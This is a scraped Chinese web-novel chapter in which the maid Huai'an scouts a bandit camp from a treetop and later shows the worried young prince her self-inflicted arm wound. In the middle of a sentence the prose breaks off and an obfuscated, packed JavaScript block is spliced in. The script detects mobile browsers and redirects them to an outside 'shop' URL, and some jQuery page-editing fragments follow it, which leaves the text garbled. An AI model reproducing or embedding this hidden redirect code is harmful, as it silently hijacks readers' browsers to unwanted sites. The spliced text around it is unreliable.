默认冷灰
24号文字
方正启体

21. 心疼

作者:花木扶疏本书字数:K更新时间:
    经过云裳争取,次日淮安再出门时,感觉周身打量明显比昨日少了三成。


    而且哪怕出了田埂范围,也没有巡逻队伍阻拦她了。


    只是领头人把淮安带到一队人群里,道:“这些都是要去后山砍柴的人,你且跟着他们一起走。”


    淮安面露感激,实则心底猛地一沉。


    她该想到的,身处深山老林,山寨这边怎么可能让人独自上山砍柴。


    领头人对淮安吩咐过后,又找上砍柴队伍的领头人,对他讲了三首领的命令。


    那人鹰眼钩鼻,闻言一笑:“放心,自会好好照顾。”


    他声音不小,淮安权当耳朵不好使,听不见,一副木讷呆子的模样。


    “出发!”那人道。


    淮安手持柄斧头,走在砍柴队伍的中央,朝后山密林走去。


    这柄斧头还是昨日下午云裳带回来给淮安的。


    王横到底怕淮安没有工具,不消几天就干不动了,到时砍柴的活恐怕要落到云裳头上,她又不愿让他帮忙,到最后累病了可就不好了,就给云裳一把斧头。


    吵架还没过半日,王横心里的气还没消完,当时是冷着一张脸递给云裳的,语气还是高高在上的恩赐。


    云裳脸不多红,心不多跳地接了斧头。


    不管他做了什么,总归她是得偿所愿的,话不中听就左耳朵进,右耳朵出吧。


    山涧的木头是多,可山寨里的居民已超三千人,光是每日做饭所需就是一大捆,漂下来的木头纵使再多,也是不够烧的,是以,还是有人上山砍柴。


    为防遭遇野兽,王竖专门组织了一只砍柴队伍,几年下来,这些人遭野兽攻击的次数,屈指可数。


    淮安盯着前面人下脚的地方。


    他们走哪里,她就走哪里。


    淮安身后跟着的人见淮安脚步不稳,有好几次,他们都以为她要摔倒,或跌到旁边的坑里了,结果人家硬是拽住与她一般高的韧草,颤颤巍巍地正了回来。


    一行人直走了一刻钟,才好不容易走到砍柴的地方。


    领头人高声道:“我还是那句话,以此为中心,方圆百丈之内的树木可以砍伐,若超出此范围,被豺狼虎豹捉去,我决计是不会管的。”


    山寨专门分十个虎背熊腰的人来保护砍柴人,领头人便是这十人小队的头儿,他怕麻烦,每次带人上山砍柴,都会强调砍柴范围,离开此圈,必不会救。


    起初有人不以为意,真的去更远的地方拾柴,结果碰到猛虎,大声呼救,圈内的人都听见动静,央领头人去救,始料未及,他竟真的不管。


    等余下的人终于鼓起勇气,拿砍刀斧头去救人时,那人早就被开膛破肚,哪怕还在呼救,也定是救不活的。


    死去的人姓王,是王竖同乡,他的亲属找王竖告状,王竖却管不了,因为队伍虽是他组织起来的,可管辖的人却是张真。


    那领头人姓张,是张真的同父同母的弟弟张诚。


    自此,再无人敢不听张诚的话。


    听见他们应声,张诚上下嘴唇一碰:“砍吧。”


    余众立刻四下散开。


    淮安喘得上气不接下气,闻言,不敢多歇,一脸生怕他们三两下就砍够抛弃她率先下山的模样,环顾四周,忙抬脚走向人最少的地方。


    张诚没有正眼看她,可一丝注意力始终放在她身上,见她走向那边,暗嗤傻子。


    那边人为什么少,不就是因为树不好砍吗?


    这点弯都转不过来,活该这么小就被推出来砍树。


    张诚眼神好,隔老远都清晰瞧见淮安连树皮都没有砍伤,啧道:“真弱。”


    看来是能轻松地完成大哥交待的看顾这丫头,以防她起歹心的任务了。


    就这样,一天,两天,连着半个月,淮安才摸到砍柴的门槛,而砍柴的九成人已不再上山砍树——


    他们要准备夏收了。


    山寨种有早稻,六月成熟。


    张诚家有三十亩稻田,占着山寨中最好的位置——


    离二进院百丈外的位置。


    他每年都要护柴小队帮忙收稻,才能在雨季前完成夏收。


    是以,这日砍柴结束,张诚没有如往日那般强调明日准时会和,转而道:“我家明日起正式开始收稻,我们十个这半个月都不会再来,你们各自顾着各自小命。”


    “是!”


    随众人应声,淮安垂下眼眸,掩住一闪而逝的暗芒,终于等到机会了。


    次日,淮安脚步熟练地朝后山走。


    这回巡逻队伍的领头人还是拦了下淮安:“今天应该没人去密林砍柴,要再等至少半月,才会有人结伴而去,到时你再随他们一起去,也不无不可。”


    淮安一脸感激:“多谢您提醒,可我人小力气又不大,砍了半月还不敌他们砍了三日的柴火,我怕不抓紧些冬日来临前,就收不够柴火了。”


    领头人想起王横的吩咐,开口道:“不用怕,到时候会给你们送足够的柴火。”


    淮安道:“我们不想求人。”


    领头人暗道:这是宁要骨气,不要小命啊。


    话已至此,他该说的都已说了,出了事,三首领也怪不住他的。


    “行,想去就去吧,早去早回。”


    “嗯。”


    此刻,来到往日的砍柴地,淮安发现此地空无一人。


    寨民都有农活要做,没有农活的,顾着自己的小命,也不会在此时上山来。


    漫无目的地环顾一圈,淮安才选到一处先前人多的地方开始砍,砍到十斤柴,就不再砍,背柴下山,一连十天,都重复如此。


    直到第十一天、按照云裳所提的往年惯例,再有五日,夏收就会结束的那天,淮安才有了动作。


    她走出砍柴范围十丈处,忽地蹲下来,惊喜道:“好多蘑菇啊。”


    她回头问:“你们要吗?”


    十几息后,也没听见动静,淮安才挠挠头,自顾自道:“好吧,我自己采,但是你好心留在这里保护我,我等会儿会分你一些的。”


    山林树木林立,底下潮湿阴冷,不缺蘑菇,淮安瞄准前方的蘑菇,很有农女范儿的眼疾手快地采摘。


    她不熟悉地形,才没摘多少,就因后退半步,倏地坠入深坑。


    坑比她还要高半头,淮安慌忙手脚并用地往上爬,结果坑壁被雨水泡得松软,一抓便塌。


    “你还在吗?能来救救我吗?”


    淮安紧着嗓子喊。


    许是怕引来猛兽,她声音不高,只能让方圆三丈内的人听到。


    “我求你了……”


    喊了一刻钟,也没见人来,淮安没办法了,试着边抠坑壁的泥土,边奋力蹬着凹处,努力了半个时辰,才终于露出脑袋,结果刚撑起半截身子,就看到不远处滑过一条蛇。


    “啊!”


    淮安吓得眼直,手也没力气了,身体再次滑落。


    “真的没有人吗?”


    淮安哭了。


    可周围的确只有风声,连老虎的啸声都没有。


    淮安擦了擦泪,将背筐的柴禾插进坑壁,哼哼哧哧地干得肚子直叫,才终于爬上来。


    她回身想要回去,可已经找不到回去的路了,漫无目的地环顾一周,走向一条更易通行的方向,不知走了多久,眼前忽现一棵两个壮汉合抱不及的大树。


    忽起了大风,淮安嘀咕要走到树后挡风,刚绕过树,就消失在地面上——


    淮安上了树。


    这三年她虽未练成话本子里的轻功,却能原地平地跃至与身高齐平的高台之上。


    淮安抬头一瞬,便捕捉到大树树干之上的结节,原地一跃踩在上面,十个呼吸间,就攀至十丈开外的树干,不消片刻,就出现在树顶离地百丈远的位置——


    这是唯一一个可以将瞭望台尽收眼下的地方。


    且此地靠近笔直陡峭的崖壁,不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410271|200657||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怕有人站在更高处,造成螳螂捕蝉,黄雀在后的后果。


    淮安观察半月,找到这个地方,来到此处,挑了这棵最高的树木。


    其实,再远的地方还有更合适的,将山寨内的一切尽收眼底的地方,可太远了。


    淮安不仅怕来回时间不允许,也怕碰见猛兽。


    手持斧头,淮安有信心保命,可不敢保证不会受伤,若是受伤,定会引小皇子伤心,就像她砍树头一日,为让贼人放松警惕,故意划伤胳膊,回去害得小皇子哭嚎不止的那样。


    那日淮安先趴在垂花门上,屏息听门后声响,没听到小皇子的动静,才翻上墙头,脚底蓄力,越过荆棘,而入院内——


    潜入自己房屋,淮安找到云裳给的止血药草,好在赶在三个时辰的界限,去见了小皇子。


    小皇子没想到之前与淮安约定好离开三个时辰,还真就是离开三个时辰,一点儿都不带少的——


    淮安难道不想早点回来见他吗?!


    生气了,小皇子硬要依偎在淮安怀里,让她抱抱他。


    要知道,自从他能走会跑后,淮安就很少允他靠她那么近了。


    小皇子不知原因,但懂得借机发挥。


    他甫一钻进淮安怀里,还没撒娇,就猝不及防地闻到一股很重的草药味,再一深呼吸,就闻到了血腥味。


    “你受伤了?”


    小皇子脸色一变,弹身离开淮安怀抱。


    不知道她哪里伤了,他都不敢碰她,双手滞在半空,“你哪里伤了?不要想骗我,我闻到味道了!”


    他严肃且认真地盯着她,眼里无声写着“证据确凿,不要试图骗我,我已经不是三岁小孩了”。


    淮安当然知道小皇子大了,开始记事,不好骗了,虽然她没骗过他,但心底清楚自己养大的这个孩子,是个一旦发现有人欺骗自己,就很不好哄的那种人。


    “胳膊伤了。殿下不必担心,伤口不大,很快就会好的。”


    淮安老老实实道。


    “让我看看。”


    小皇子没说不信,但他要一定亲眼看。


    淮安婉拒:“殿下,男女授受不亲。”


    小皇子看她:“你说过,男女七岁才不同席。”


    “殿下……”


    “我要哭了。”小皇子开口打断淮安,“我一哭,你就要哄我,你不给我看,我就不会罢休,最后还不是要给我看。你现在还不给看,是想让我哭一顿吗?”


    欲加之罪,何患无辞。


    淮安不是不能反驳,可一反驳,小皇子肯定还会歪缠,再来回说两句,淮安怕会将沈嬷嬷引过来,无法,只好卷起衣袖,给小皇子看伤口。


    小皇子才看一眼,眼眶就立马蓄满了泪。


    创口不长,却深得见肉,虽已止血,但好端端地破了一个口子——


    小皇子捂住心口,道:“好疼。”


    “心疼?怎么会?”


    淮安忙去扶住小皇子,慌问他具体哪里疼,疼几次了。


    “我心疼淮安。”小皇子眼泪流了出来,“不要再让自己受伤了好不好?淮安这么厉害,怎么会因为砍柴伤了自己。”


    淮安回视小皇子,唇瓣紧抿,眼里满是纠结,纠结自己要不要告知他院外的情况。


    她怕他知道了害怕,而不知道了会觉心里没底,会更害怕。


    小皇子像是猜到淮安在纠结什么,主动道:“淮安不要担心我会怕,我知道院外都是坏人,淮安是为护我平安,外出与坏人抗争,才会受伤。我知道受伤是难免的,但我求淮安不要再有第二次的故意受伤。”


    他抓住淮安的手,认真道:“我真的很心疼。”


    也真的很痛自己力气小、个子矮,什么都做不了。


    两人四目相对,一切都尽在不言中——


    她不想让他害怕,他不想让她担心。


    “……奴婢,答应您。”


    淮安终是妥协道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)